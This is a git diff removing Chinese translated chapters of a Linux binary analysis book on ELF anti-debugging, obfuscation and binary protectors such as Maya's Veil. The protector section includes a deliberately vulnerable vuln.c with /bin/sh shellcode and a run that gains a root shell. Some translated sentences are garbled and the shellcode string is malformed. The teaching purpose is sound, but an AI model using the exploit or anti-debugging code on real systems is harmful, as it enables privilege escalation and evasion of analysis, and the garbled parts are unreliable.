- -这种技术利用了一个程序一次只能被一个进程跟踪这一事实。 几乎所有的调试器都使用`ptrace`,包括 GDB。 其思想是程序可以跟踪自己,以便其他调试器不能附加。 - -### 插图 4.9 -一个使用 PTRACE_TRACEME 的反调试示例 - -```sh -void anti_debug_check(void) -{ - if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) { - printf("A debugger is attached, but not for long!\n"); - kill(getpid()); - exit(0); - } -} -``` - -图 4.9 中的函数会杀死程序(本身),如果附加了一个调试器; 它会知道,因为它无法追踪自己。 否则,它将成功跟踪自己,并且不允许其他跟踪程序,从而阻止调试器。 - -## SIGTRAP 处理器技术 - -在调试时,我们经常设置断点,当遇到断点时,它生成一个 SIGTRAP 信号,该信号被调试器的信号处理程序捕获; 程序停止了,我们可以检查它。 使用这种技术,程序设置一个信号处理程序来捕获 SIGTRAP 信号,然后故意发出断点指令。 当程序的 SIGTRAP 处理程序捕获它时,它将把一个全局变量从`0`增加到`1`。 - -然后程序可以检查全局变量是否被设置为`1`,如果是,这意味着我们的程序捕获了断点,并且没有调试器存在; 否则,如果它是`0`,则它必须被调试器捕获。 此时,程序可以选择终止自身或退出,以阻止调试: - -```sh -static int caught = 0; -int sighandle(int sig) -{ - caught++; -} -int detect_debugger(void) -{ - __asm__ volatile("int3"); - if (!caught) { - printf("There is a debugger attached!\n"); - return 1; - } -} -``` - -## /proc/self/status 技术 - -每个进程都有这个动态文件,它包含很多信息,包括当前是否正在跟踪进程。 - -`/proc/self/status`布局的一个示例,可以被解析为检测跟踪器/调试器,如下所示: - -```sh -ryan@elfmaster:~$ head /proc/self/status -Name: head -State: R (running) -Tgid: 19813 -Ngid: 0 -Pid: 19813 -PPid: 17364 -TracerPid: 0 -Uid: 1000 1000 1000 1000 -Gid: 31337 31337 31337 31337 -FDSize: 256 - -``` - -正如前面的输出中突出显示的,`tracerPid: 0`表示没有跟踪进程。 要查看是否正在跟踪它,程序必须做的就是打开`/proc/self/status`并检查该值是否为 0。 如果不是,那么它知道自己正在被跟踪,它可以杀死自己或退出。 - -## 代码混淆技术 - -代码混淆(也称为代码转换)是一种技术,将汇编级别的代码修改为包含不透明的分支指令或错误对齐的指令,从而破坏反汇编器正确读取字节码的能力。 考虑以下例子: - -```sh -jmp antidebug + 1 -antidebug: -.short 0xe9 ;first byte of a jmp instruction -mov $0x31337, %eax -``` - -当前面的代码被编译并使用`objdump`反汇编器查看时,它看起来是这样的: - -```sh - 4: eb 01 jmp 7 - - 6: e9 00 b8 37 13 jmpq 1337b80b - b: 03 00 add (%rax),%eax -``` - -代码实际上执行了一个`mov $0x31337, %eax`操作,而且在功能上,它正确地执行了该操作,但因为在此之前有一个`0xe9`,反汇编器将其视为一个`jmp`指令(因为`0xe9`是`jmp`的前缀)。 - -因此,代码转换不会改变代码运行的方式,只会改变它的外观。 像 IDA 这样的智能反汇编器不会被前面的代码片段所迷惑,因为它在生成反汇编时使用控制流分析。 - -## 字符串表变换技术 - -这是我在 2008 年构思的一种技术,并没有看到被广泛使用,但如果它没有在某些地方被使用,我会感到惊讶。 其背后的思想使用了我们所获得的关于符号名和节头的 ELF 字符串表的知识。 像`objdump`和`gdb`这样的工具(通常在反向工程中使用)依赖字符串表来学习 ELF 文件中函数和节的名称。 这种技术打乱了每个符号和部分名称的顺序。 结果是部分标题将被混淆(或看起来是),函数和符号的名称也是如此。 - -这种技术可能会误导逆向工程师; 例如,他们可能认为他们在查看名为`check_serial_number()`的函数,但实际上他们在查看`safe_strcpy()`。 我在一个名为`elfscure`的工具中实现了这个功能,可以在[http://www.bitlackeys.org/projects/elfscure.c](http://www.bitlackeys.org/projects/elfscure.c)中找到。 - -# ELF 病毒检测及消毒 - -检测病毒非常复杂,更不用说消毒了。 我们的现代 AV 软件实际上是一个笑话,非常无效。 标准的防病毒软件使用扫描字符串(即签名)来检测病毒。 换句话说,如果一个已知病毒总是在二进制文件中给定的偏移量处有字符串`h4h4.infect.1+`,那么反病毒软件就会看到它存在于其数据库中,并将其标记为受感染。 从长远来看,这是非常无效的,特别是在病毒不断变异成新的毒株的情况下。 - -众所周知,一些 AV 产品使用仿真来进行动态分析,可以在运行时向启发式分析器提供关于可执行文件的执行的信息。 动态分析可以是强大的,但它是众所周知的缓慢。 Silvio Cesare 在动态恶意软件拆封和分类方面取得了一些突破,但我不确定这项技术是否正在被主流使用。 - -目前,用于检测和消毒 ELF 二进制感染的软件数量非常有限。 这可能是因为一个更主流的市场还不存在,因为很多这样的攻击仍然是地下的。 毫无疑问,黑客们正在使用这些技术来隐藏后门,并在被破坏的系统上保持一个隐秘的住所。 目前,我正在从事一个名为 Arcana 的项目,它可以检测和消毒许多类型的 ELF 二进制感染,包括可执行文件、共享库和内核驱动程序,它还能够使用 ECFS 快照(描述在[第 8 章](8.html#26I9K1-1d4163ae11644cc2802846625b2dc985 "Chapter 8. ECFS – Extended Core File Snapshot Technology"), *ECFS -扩展核心文件快照技术*),极大地改进了进程内存取证。 同时,你可以阅读或下载以下项目之一,它们是我多年前设计的原型: - -* VMAVoodoo([http://www.bitlackeys.org/#vmavudu](http://www.bitlackeys.org/#vmavudu)) -* **AVU**(T2】Anti - Virus Unix)at[http://www.bitlackeys.org/projects/avu32.tgz](http://www.bitlackeys.org/projects/avu32.tgz) - -Unix 环境中的大多数病毒是在系统遭到破坏后植入的,并通过记录有用信息(如用户名/密码)或通过后门连接守护进程来维持在系统中的驻留。 我在这个领域设计的软件最有可能被用作主机入侵检测软件,或者用于二进制文件和进程内存的自动取证分析。 保持[后,http://bitlackeys.org/网站看到任何更新关于*奥秘的释放,我最近的精灵二进制分析软件,这是第一个真正的生产装备软件的完整分析和消毒精灵二进制感染。*](http://bitlackeys.org/) - - *我决定不写一整本章部分启发式病毒检测的,因为我们将讨论这些技术在第六章,*精灵二进制取证在 Linux 中*,在研究中使用的方法和启发式检测二进制感染。 - -# 总结 - -在本章中,我们介绍了关于 ELF 二进制文件的病毒工程的“需要知道的”信息。 这方面的知识并不常见,因此本章希望能作为一种独特的介绍,介绍计算机科学的地下世界中的这种神秘的病毒艺术。 此时,您应该了解最常见的病毒感染技术、反调试以及与为 ELF 创建和分析病毒相关的挑战。 这一知识在逆向工程病毒或执行恶意软件分析的事件中发挥了巨大的作用。 值得注意的是,可以在[http://vxheaven.org](http://vxheaven.org)上找到许多出色的论文,以帮助您进一步了解 Unix 病毒技术。*** \ No newline at end of file diff --git a/docs/learn-linux-bin-anal/5.md b/docs/learn-linux-bin-anal/5.md deleted file mode 100644 index f4653c40..00000000 --- a/docs/learn-linux-bin-anal/5.md +++ /dev/null @@ -1,436 +0,0 @@ -# 五、Linux 二进制程序保护 - -在本章中,我们将探讨 Linux 程序混淆的基本技术和动机。 混淆或加密二进制文件或使其难以篡改的技术称为软件保护方案。 通过“软件保护”,我们指的是二进制保护或二进制加固技术。 二进制加固并不是 Linux 独有的; 事实上,在这一技术类型中有更多的 Windows 操作系统产品,而且肯定有更多的例子可供选择。 - -许多人没有意识到的是,Linux 也有这样的市场,尽管它主要是为政府使用的防篡改产品而存在。 在过去的十年中,黑客社区还发布了许多 ELF 二进制保护程序,其中一些为今天使用的许多技术铺平了道路。 - -可以有一整本书专门介绍软件保护的艺术,而且作为最近一些 ELF 二进制保护技术的作者,我很容易被这一章弄得忘乎所以。 相反,我将坚持解释基本原理和一些有趣的技术,使用,然后一些见解到我自己的二元保护-**玛雅的面纱**。 二进制保护中复杂的工程和技巧使它成为一个难以表达的话题,但我将在这里尽我所能。 - -# ELF 二进制封隔器-哑保护 - -一个**封包器**是一种软件,通常被恶意软件作者和黑客用来压缩或加密一个可执行文件,以混淆其代码和数据。 一个非常常见的封包名为 UPX([http://upx.sourceforge.net](http://upx.sourceforge.net)),在大多数 Linux 发行版中都可以作为包使用。 这种类型的封隔器的最初目的是压缩可执行文件并使其更小。 - -因为代码是压缩的,所以在内存中执行之前必须有一种解压的方法——这就是有趣的地方,我们将在*存根机制和用户域执行*部分讨论它是如何工作的。 无论如何,恶意软件作者已经意识到压缩他们的恶意软件感染的文件将逃避 AV 检测由于混淆。 这导致恶意软件/反病毒研究人员开发了自动解包器,这现在被大多数,如果不是全部,现代反病毒产品中使用。 - -如今,术语“打包二进制文件”不仅指压缩的二进制文件,还指加密的二进制文件或用任何种类的混淆层屏蔽的二进制文件。 自 21 世纪初以来,已经出现了几个显著的 ELF 二进制保护程序,它们塑造了 Linux 二进制保护程序的未来。 我们将探索其中的每一个,并使用它们来建模用于保护 ELF 二进制文件的不同技术。 不过,在此之前,让我们看看存根如何加载和执行压缩或加密的二进制文件。 - -# 存根机制和用户域执行 - -首先,有必要了解一个软件保护程序实际上是由两个程序组成的: - -* **保护相位码**:对目标二进制应用保护的程序 -* **运行时引擎或存根**:与负责在运行时解混淆和反调试的目标二进制文件合并的程序 - -保护程序可以根据应用到目标二进制的保护类型而变化很大。 运行时代码必须理解对目标二进制文件应用的任何类型的保护。 运行时代码(或存根)必须知道如何解密或消除与之合并的二进制文件的混淆。 在大多数软件保护的情况下,有一个相对简单的运行时引擎与受保护的二进制文件合并; 它的唯一目的是解密二进制文件,并将控制传递给内存中解密的二进制文件。 - -这种类型的运行时引擎并不是真正的引擎,我们称它为存根。 存根通常编译时不带任何 libc 链接(例如,`gcc -nostdlib`),或者静态编译。 这种类型的存根,虽然比真正的运行时引擎简单,但实际上仍然相当复杂,因为它必须能够从内存中`exec()`一个程序——这就是**用户地执行**发挥作用的地方。 我们可以感谢 grugq 在这里的贡献。 - -通常由`glibc`包装器(例如`execve`、`execv`、`execle`和`execl`使用的`SYS_execve`系统调用将加载并运行一个可执行文件。 在软件保护的情况下,可执行文件是加密的,并且必须在执行之前解密。 只有经验不足的黑客才会编写他们的存根来解密可执行文件,然后把它以解密的形式写入磁盘,然后再用`SYS_exec`来执行它,尽管原来的 UPX 封隔器确实是这样工作的。 - -完成这一任务的熟练方法是在适当的地方(在内存中)解密可执行文件,然后从内存中加载并执行它——而不是一个文件。 这可以从用户区代码中完成,因此我们将此技术称为用户区执行。 许多软件保护程序实现了一个存根来实现这一点。 实现存根用户区执行器的挑战之一是,它必须将段加载到其指定的地址范围中,这通常是为存根可执行文件本身指定的相同地址。 - -这只是 et_exec 类型的可执行文件的问题(因为它们不是位置独立的),而且通常可以通过使用自定义链接器脚本来克服这个问题,该脚本告诉存根可执行文件段在默认地址以外的地址加载。 在第 1 章,*的 Linux 环境及其工具*中关于链接器脚本的一节中展示了这样一个链接器脚本的例子。 - -### 注意事项 - -在 x86_32 上,默认基数是 0x8048000,在 x86_64 上,默认基数是 0x400000。 存根应该具有与默认地址范围不冲突的加载地址。 例如,我最近编写的一个链接使得文本段在 0xa000000 处加载。 - -![Stub mechanics and the userland exec](img/00012.jpeg) - -图 5.1:一个二进制保护存根模型 - -图 5.1 直观地显示了加密的可执行文件是如何嵌入到存根可执行文件的数据段中,并被封装在其中,这就是为什么存根也被称为包装器。 - -### 注意事项 - -我们将展示在*确定保护 binarires*部分第六章,*精灵二进制取证在 Linux 中*如何剥去一个包装器可以是一个微不足道的任务在许多情况下,以及它如何可能也是一个自动化任务使用软件或脚本。 - -一个典型的存根执行以下任务: - -* 解密其有效负载(即原始可执行文件) -* 将可执行文件的可加载段映射到内存中 -* 将动态链接器映射到内存中 -* 创建一个堆栈(使用 mmap) -* 设置堆栈(argv、envp 和辅助向量) -* 将控制传递给程序的入口点 - -### 注意事项 - -如果被保护的程序是动态链接的,那么控件将被传递到动态链接器的入口点,该入口点随后将其传递给可执行程序。 - -这种性质的存根本质上只是一个用户域执行器实现,它加载并执行嵌入在它自己的程序体中的程序,而不是一个独立文件的可执行文件。 - -### 注意事项 - -原始的用户界面执行器研究和算法可以在 grugq 的论文*用户界面执行器的设计与实现*中[https://grugq.github.io/docs/ul_exec.txt](https://grugq.github.io/docs/ul_exec.txt)找到。 - -## 保护器的一个例子 - -让我们来看看由我编写的简单保护程序保护的可执行程序前后的情况。 使用`readelf`来查看程序头文件,我们可以看到二进制文件包含了我们在动态链接的 Linux 可执行文件中期望看到的所有段: - -```sh -$ readelf -l test - -Elf file type is EXEC (Executable file) -Entry point 0x400520 -There are 9 program headers, starting at offset 64 - -Program Headers: - Type Offset VirtAddr PhysAddr - FileSiz MemSiz Flags Align - PHDR 0x0000000000000040 0x0000000000400040 0x0000000000400040 - 0x00000000000001f8 0x00000000000001f8 R E 8 - INTERP 0x0000000000000238 0x0000000000400238 0x0000000000400238 - 0x000000000000001c 0x000000000000001c R 1 - [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] - LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 - 0x00000000000008e4 0x00000000000008e4 R E 200000 - LOAD 0x0000000000000e10 0x0000000000600e10 0x0000000000600e10 - 0x0000000000000248 0x0000000000000250 RW 200000 - DYNAMIC 0x0000000000000e28 0x0000000000600e28 0x0000000000600e28 - 0x00000000000001d0 0x00000000000001d0 RW 8 - NOTE 0x0000000000000254 0x0000000000400254 0x0000000000400254 - 0x0000000000000044 0x0000000000000044 R 4 - GNU_EH_FRAME 0x0000000000000744 0x0000000000400744 0x0000000000400744 - 0x000000000000004c 0x000000000000004c R 4 - GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 - 0x0000000000000000 0x0000000000000000 RW 10 - GNU_RELRO 0x0000000000000e10 0x0000000000600e10 0x0000000000600e10 - 0x00000000000001f0 0x00000000000001f0 R 1 -``` - -现在,让我们在二进制文件上运行保护程序,然后查看程序头文件: - -```sh -$ ./elfpack test -$ readelf -l test -Elf file type is EXEC (Executable file) -Entry point 0xa01136 -There are 5 program headers, starting at offset 64 - -Program Headers: - Type Offset VirtAddr PhysAddr - FileSiz MemSiz Flags Align - LOAD 0x0000000000000000 0x0000000000a00000 0x0000000000a00000 - 0x0000000000002470 0x0000000000002470 R E 1000 - LOAD 0x0000000000003000 0x0000000000c03000 0x0000000000c03000 - 0x000000000003a23f 0x000000000003b4df RW 1000 -``` - -你会注意到很多不同之处。 入口点是`0xa01136`,只有两个可加载段,分别是文本段和数据段。 这两个加载地址与之前完全不同。 - -这当然是因为存根的加载地址不会与其中包含的加密可执行文件的加载地址冲突,必须加载该文件并将其映射到内存中。 原可执行文件的文本段地址为`0x400000`。 存根负责解密嵌入其中的可执行文件,然后将其映射到在`PT_LOAD`程序头文件中指定的加载地址。 - -如果地址与存根的加载地址冲突,那么它将无法工作。 这意味着存根程序必须使用自定义链接器脚本进行编译。 这通常是通过修改现有的链接器脚本,由`ld`使用。 对于这个例子中使用的保护者,我修改了链接器脚本中的一行: - -* 这是原话: - - ```sh - PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS; - ``` - -* 修改后的行如下: - - ```sh - PROVIDE (__executable_start = SEGMENT_START("text-segment", 0xa00000)); . = SEGMENT_START("text-segment", 0xa00000) + SIZEOF_HEADERS; - ``` - -你可以从受保护的可执行文件的程序头中注意到的另一件事是,没有`PT_INTERP`段或`PT_DYNAMIC`段。 对于未经训练的人来说,这是一个静态链接的可执行文件,因为它似乎不使用动态链接。 这是因为您没有查看原始可执行文件的程序头。 - -### 注意事项 - -记住,原始的可执行文件是加密的,并嵌入在可执行文件存根中,所以你实际上是从存根而不是它所保护的可执行文件中查看程序头文件。 在许多情况下,存根本身被编译并使用非常少的选项链接,并且不需要动态链接本身。 一个好的用户域执行器实现的主要特征之一是能够将动态链接器加载到内存中。 - -正如我提到的,存根是一个用户域执行程序,在它解密并将嵌入式可执行文件映射到内存之后,它将动态链接器映射到内存。 然后,动态连接器将处理符号解析和运行时重定位,然后将控制权传递给现在解密的程序。 - -# 由保护根执行的其他工作 - -除了解密和将嵌入式可执行文件加载到内存(这是用户地执行组件)之外,存根还可以执行其他任务。 存根通常会启动反调试和反仿真例程,这些例程旨在进一步保护二进制文件不被调试或仿真,以便进一步提高门槛,从而使反向工程更加困难。 - -在[第 4 章](4.html#164MG1-1d4163ae11644cc2802846625b2dc985 "Chapter 4. ELF Virus Technology – Linux/Unix Viruses")、*ELF 病毒技术—Linux/Unix 病毒*中,我们讨论了一些用于防止基于`ptrace`的调试的反调试技术。 这可以防止大多数调试器(包括 GDB)琐碎地跟踪二进制文件。 在本章的后面,我们将总结 Linux 二进制保护中使用的最常见的反调试技术。 - -# 已有的 ELF 二进制保护 - -多年来,有已经有一些值得注意的二进制保护程序被公开和从地下现场释放。 我将讨论一些 Linux 的保护程序,并简要介绍各种特性。 - -## DacryFile by the Grugq – 2001 - -DacryFile 是我所知道的最早的 Linux([https://github.com/packz/binary-encryption/tree/master/binary-encryption/dacryfile](https://github.com/packz/binary-encryption/tree/master/binary-encryption/dacryfile))的二进制保护。 这种保护器虽然简单,但仍然很聪明,它的工作原理与病毒感染 ELF 寄生虫非常相似。 在许多保护程序中,存根围绕着加密的二进制文件,但在 DacryFile 中,存根只是一个简单的解密例程,它被注入到要保护的二进制文件中。 - -DacryFile 使用 RC4 加密,对从`.text`节开始到文本段结束的二进制文件进行加密。 解密存根是一个用 asm 和 C 编写的简单程序,它没有用户地执行功能; 它只是解密加密的代码体。 这个存根被插入到数据段的末尾,这非常类似于病毒插入寄生虫的方式。 可执行文件的入口点被修改为指向存根,在执行二进制文件时,存根解密程序的文本段。 然后它将控制传递到原始入口点。 - -### 注意事项 - -在支持 NX 位的系统上,数据段不能用来保存代码,除非它被显式地标记为可执行权限位,即`'p_flags |= PF_X`'。 - -## Burneye by Scut – 2002 - -很多人认为 Burneye 是中第一个像样的二进制加密的例子。 按照今天的标准,它可能会被认为是弱的,但它仍然带来了一些创新的功能。 这包括三层加密,第三层是密码保护层。 - -密码被转换成一种哈希和类型,然后用于解密最外层。 这意味着除非二进制文件有正确的密码,否则它永远不会被解密。 另一层,称为指纹层,可以代替密码层。 该特性从一个算法中创建一个密钥,该密钥可以识别二进制文件所在的系统,并防止二进制文件在除其所在系统外的任何其他系统上被解密。 - -还有一个自毁功能; 它在运行一次后删除二进制文件。 Burneye 与其他保护程序的主要区别之一是,它是第一个使用用户域执行技术封装二进制文件的。 从技术上讲,这首先是由 John Resier 为 UPX 封隔器完成的,但 UPX 更被认为是一个二元压缩器而不是一个保护器。 John 据称将 userland exec 的知识传递给了 sccut,正如 sccut 和 Grugq 在[http://phrack.org/issues/58/5.html](http://phrack.org/issues/58/5.html)上写的关于 ELF 二进制保护的 Phrack 58 文章中提到的那样。 这篇文章记录了 Burneye 的内部工作原理,强烈推荐阅读。 - -### 注意事项 - -sct 还设计了一个名为`objobf`的工具,即**对象模糊器**。 这个工具混淆了 ELF32 的 ET_REL(目标文件),因此代码很难反汇编,但在功能上是等价的。 通过使用不透明分支和不对齐组装等技术,这可以非常有效地阻止静态分析。 - -## Neil Mehta 和 Shawn Clowes 的 Shiva - 2003 - -Shiva 可能是 Linux 二进制保护的最好的公开可用示例。 源代码从来没有被公开过——只有保护程序被公开了——但是作者在各种会议上做了几次演示,比如 Blackhat USA。 这些都揭示了它的许多技术。 - -Shiva 为 32 位 ELF 可执行文件工作,并提供了一个完整的运行时引擎(不仅仅是一个解密存根),该引擎在它所保护的整个进程期间,帮助解密和反调试功能。 Shiva 提供了三层加密,其中最内层永远不会完全解密整个可执行文件。 它一次解密 1024 字节的块,然后重新加密。 - -对于一个足够大的程序,在任何给定的时间都不会有超过 1/3 的程序被解密。 另一个强大的特性是固有的反调试—Shiva 保护程序使用一种技术,即运行时引擎使用`clone()`生成一个线程,然后该线程跟踪父线程,而父线程反过来跟踪线程。 这使得不可能使用基于`ptrace`的动态分析,因为单个进程(或线程)可能只有一个跟踪器。 另外,由于两个进程都被彼此跟踪,所以没有其他调试器可以附加。 - -### 注意事项 - -著名的逆向工程师 Chris Eagle 使用 IDA 的 x86 仿真器插件成功解包了一个 shiva 保护的二进制文件,并在 Blackhat 上做了一个演示。 这种对湿婆的逆向工程据说在 3 周内完成。 - -* Presentation by the authors: - - [https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-mehta/bh-us-03-mehta.pdf](https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-mehta/bh-us-03-mehta.pdf) - -* Presentation by Chris Eagle (who broke Shiva): - - [http://www.blackhat.com/presentations/bh-federal-03/bh-federal-03-eagle/bh-fed-03-eagle.pdf](http://www.blackhat.com/presentations/bh-federal-03/bh-federal-03-eagle/bh-fed-03-eagle.pdf) - -## Ryan O'Neill 的玛雅的面纱- 2014 - -玛雅的面纱是我在 2014 年设计的,是为 ELF64 二进制。 到今天,保护者处于原型阶段,并没有公开发布,但是有一些分叉的版本已经演变成玛雅项目的变体。 其中之一是[https://github.com/elfmaster/](https://github.com/elfmaster/),它是 Maya 的一个版本,只包含反开发技术,如控制流完整性。 作为玛雅守护者的创造者和设计者,我可以自由地阐述它的内部运作的一些细节,主要是为了激发对这类事情感兴趣的读者的兴趣和创造力。 除了作为这本书的作者,我也是一个很平易近人的人,所以如果你有更多关于玛雅面纱的问题,请随时联系我。 - -首先,这个保护器被设计为一个仅针对用户的解决方案(这意味着没有来自聪明的内核模块的帮助),同时仍然能够保护二进制文件具有足够的抗篡改质量,甚至更令人印象深刻的是,还有额外的抗利用特性。 Maya 拥有的许多功能到目前为止只在编译器插件中看到,而 Maya 直接在已经编译的可执行二进制文件上操作。 - -玛雅是极其复杂的,记录它的所有内部工作将是一个关于二元保护主题的完整注释,但我将总结它的一些最重要的品质。 Maya 可以用来创建第 1 层,第 2 层,或第 3 层的二进制保护。 在第一层,它使用智能运行时引擎; 该引擎被编译为一个名为`runtime.o`的目标文件。 - -该文件使用反向文本填充扩展(参见[第 4 章](4.html#164MG1-1d4163ae11644cc2802846625b2dc985 "Chapter 4. ELF Virus Technology – Linux/Unix Viruses"),*ELF 病毒技术- Linux/Unix 病毒*)注入,并结合了可重定位代码注入重链接技术。 本质上,运行时引擎的目标文件链接到它所保护的可执行文件。 这个对象文件非常重要,因为它包含用于反调试、反利用、使用加密堆定制`malloc`的代码、关于它所保护的二进制文件的元数据,等等。 这个对象文件是用大约 90%的 C 语言和 10%的 x86 汇编语言编写的。 - -### 玛雅的保护层 - -Maya 有多层保护和加密。 每增加一层都增加了更多的工作,使攻击者可以摆脱这些工作,从而增强了安全级别。 最外层的层对于防止静态分析最有用,而最内层(第 1 层)仅解密当前调用堆栈中的函数,并在完成时重新加密它们。 下面是对每个层的更详细的解释。 - -#### 第一层 - -第 1 层受保护的二进制文件由单独加密的二进制文件的每一个函数组成。 每个函数在被调用和返回时都会动态地解密和重新加密。 这是因为`runtime.o`包含了一个智能的、自主的自我调试功能,该功能允许它密切监视进程的执行,并确定它何时受到攻击或分析。 - -运行时引擎本身已经使用代码混淆技术进行了混淆,例如在 sct 的对象混淆工具中发现的那些技术。 解密和重新加密函数的密钥存储和元数据存储在一个自定义的`malloc()`实现中,该实现使用运行时引擎生成的加密堆。 这使得定位按键变得困难。 第 1 层保护是第一个也是最复杂的保护级别,因为它为二进制文件提供了智能和自主的动态解密、反调试和反利用的自跟踪能力。 - -![Layer 1](img/00013.jpeg) - -这是一个过度简化的图,展示了第 1 层受保护的二进制文件是如何被放置在原始二进制文件旁边的 - -#### 第二层 - -第 2 层受保护的二进制文件与第 1 层受保护的二进制文件是一样的,除了,它不仅对函数进行加密,而且对二进制文件中的其他所有部分都进行了加密,以防止静态分析。 这些部分在运行时进行解密,使某些数据暴露如果有人能够转储过程,它必须通过一个内存司机因为`prctl()`用于保护过程从正常的用户空间转储到`/proc/$pid/mem`(也是阻止这个过程倾倒任何核心文件)。 - -#### 第三层 - -第 3 层的受保护二进制和第 2 层是一样的,除了它通过将第 2 层的二进制嵌入到第 3 层存根的数据段中而增加了一个更完整的保护层。 第三层存根的工作方式类似于传统的用户域执行。 - -### 玛雅的纳米虫 - -玛雅的面纱有许多其他特点,使其难以逆向工程。 其中一个特征被称为**纳米虫**。 这是指原始二进制文件中的某些指令被完全移除,并用垃圾指令或断点替换。 - -当玛雅的运行时引擎看到这些垃圾指令或断点时,它会检查它的纳米虫记录,看看那里存在的原始指令是什么。 这些记录存储在运行时引擎的加密堆段中,因此对反向工程师来说,访问这些信息并非易事。 一旦 Maya 知道原始指令做了什么,它就会使用`ptrace`系统调用来模拟该指令。 - -### 玛雅的反剥削 - -反剥削的特点玛雅是什么使它独特的比较其他保护。 然而大多数保护程序的目的只是让反向工程变得困难,Maya 能够加强二进制程序,使其许多固有的漏洞(如缓冲区溢出)不能被利用。 具体来说,Maya 通过在运行时引擎中嵌入特殊的控制流完整性技术来插装二进制文件,从而防止**ROP**(简称**面向返回编程**)。 - -受保护二进制文件中的每个函数在入口点和每个返回指令处都有一个断点(`int3`)。 `int3`断点提供了一个触发运行时引擎的 SIGTRAP; 然后运行时引擎做以下几件事之一: - -* 解密函数(仅当它击中条目`int3`断点时) -* 对函数进行加密(仅当它击中返回`int3`断点时) -* 检查返回地址是否被覆盖 -* 检查`int3`断点是否为纳米虫; 如果是这样,它将效仿 - -第三个亮点是反 rop 功能。 运行时引擎检查包含程序中不同点的有效返回地址的哈希映射。 如果返回地址是无效的,那么 Maya 将保释出来,利用尝试将失败。 - -以下是一个脆弱的片段软件代码的例子,是专门为测试和显示 Maya 的反 rop 功能: - -#### vuln.c .的源代码 - -```sh -#include -#include -#include -#include -#include - -/* - * This shellcode does execve("/bin/sh", …) - / -char shellcode[] = "\xeb\x1d\x5b\x31\xc0\x67\x89\x43\x07\x67\x89\x5b\x08\x67\x89\x43\" -"x0c\x31\xc0\xb0\x0b\x67\x8d\x4b\x08\x67\x8d\x53\x0c\xcd\x80\xe8" -"\xde\xff"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41" -"\x42\x42"; - -/* - * This function is vulnerable to a buffer overflow. Our goal is to - * overwrite the return address with 0x41414141 which is the addresses - * that we mmap() and store our shellcode in. - */ -int vuln(char *s) -{ - char buf[32]; - int i; - - for (i = 0; i < strlen(s); i++) { - buf[i] = *s; - s++; - } -} - -int main(int argc, char **argv) -{ - if (argc < 2) - { - printf("Please supply a string\n"); - exit(0); - } - int i; - char *mem = mmap((void *)(0x41414141 & ~4095), - 4096, - PROT_READ|PROT_WRITE|PROT_EXEC, - MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, - -1, - 0); - - memcpy((char *)(mem + 0x141), (void *)&shellcode, 46); - vuln(argv[1]); - exit(0); - -} -``` - -#### 开发 vuln.c .的实例 - -让我们看看如何利用`vuln.c`: - -```sh -$ gcc -fno-stack-protector vuln.c -o vuln -$ sudo chmod u+s vuln -$ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -# whoami -root -# -``` - -现在让我们使用 Maya 的`-c`选项来保护 vuln,这意味着控制流的完整性。 然后我们将尝试利用受保护的二进制文件: - -```sh - $ ./maya -l2 -cse vuln - -[MODE] Layer 2: Anti-debugging/anti-code-injection, runtime function level protection, and outter layer of encryption on code/data -[MODE] CFLOW ROP protection, and anti-exploitation -[+] Extracting information for RO Relocations -[+] Generating control flow data -[+] Function level decryption layer knowledge information: -[+] Applying function level code encryption:simple stream cipher S -[+] Applying host executable/data sections: SALSA20 streamcipher (2nd layer protection) -[+] Maya's Mind-- injection address: 0x3c9000 -[+] Encrypting knowledge: 111892 bytes -[+] Extracting information for RO Relocations -[+] Successfully protected binary, output file is named vuln.maya - -$ ./vuln.maya AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -[MAYA CONTROL FLOW] Detected an illegal return to 0x41414141, possible exploitation attempt! -Segmentation fault -$ -``` - -这表明 Maya 在返回指令实际成功之前检测到一个无效的返回地址`0x41414141`。 Maya 的运行时引擎通过安全地崩溃程序(没有利用)来进行干扰。 - -另一个 Maya 强制执行的反剥削特性是**relro**(**只读重定位**)。 大多数现代 Linux 系统启用了此功能,但是如果没有启用,玛雅将执行它自己的通过创建一个只读页面包含`the.jcr`的`mprotect()`,`.dynamic`,`.got`,`.ctors`(`.init_array`),`.dtors`(`.fini_array`)部分。 其他反利用特性(如函数指针完整性)正在计划中,还没有加入到代码库中。 - -# 下载 maya 保护的二进制文件 - -对于那些对反向工程一些受 Maya 面纱保护的简单程序感兴趣的人,可以在[http://www.bitlackeys.org/maya_crackmes.tgz](http://www.bitlackeys.org/maya_crackmes.tgz)下载一些示例。 该链接包含三个文件:`crackme.elf_hardest`、`crackme.elf_medium`和`test.maya`。 - -# 反调试二进制保护 - -由于二进制保护程序通常会加密或混淆程序的物理体,静态分析可能会非常困难,而且在许多情况下被证明是徒劳的。 大多数试图解包或破坏受保护二进制文件的反向工程师都会同意,必须使用动态分析和静态分析的组合来访问解密的二进制文件。 - -受保护的二进制文件必须解密自身,或者至少解密其在运行时执行的部分。 没有任何反调试技术,逆向工程师可以简单地附加到受保护程序的进程上,并在存根的最后一条指令上设置断点(假设存根解密了整个可执行文件)。 - -命中断点后,攻击者可以查看代码段,找出受保护的二进制文件所在的位置,并找到它的解密体。 这将是非常简单的,因此,对于好的二进制保护来说,使用尽可能多的技术使调试和动态分析对反向工程师来说变得困难是非常重要的。 像 Maya 这样的保护程序会不遗余力地保护二进制文件不受静态和动态分析的影响。 - -动态分析并不局限于`ptrace`系统调用,尽管大多数调试器为了访问和操纵进程而局限于它。 因此,二进制保护器不应仅限于保护`ptrace`; 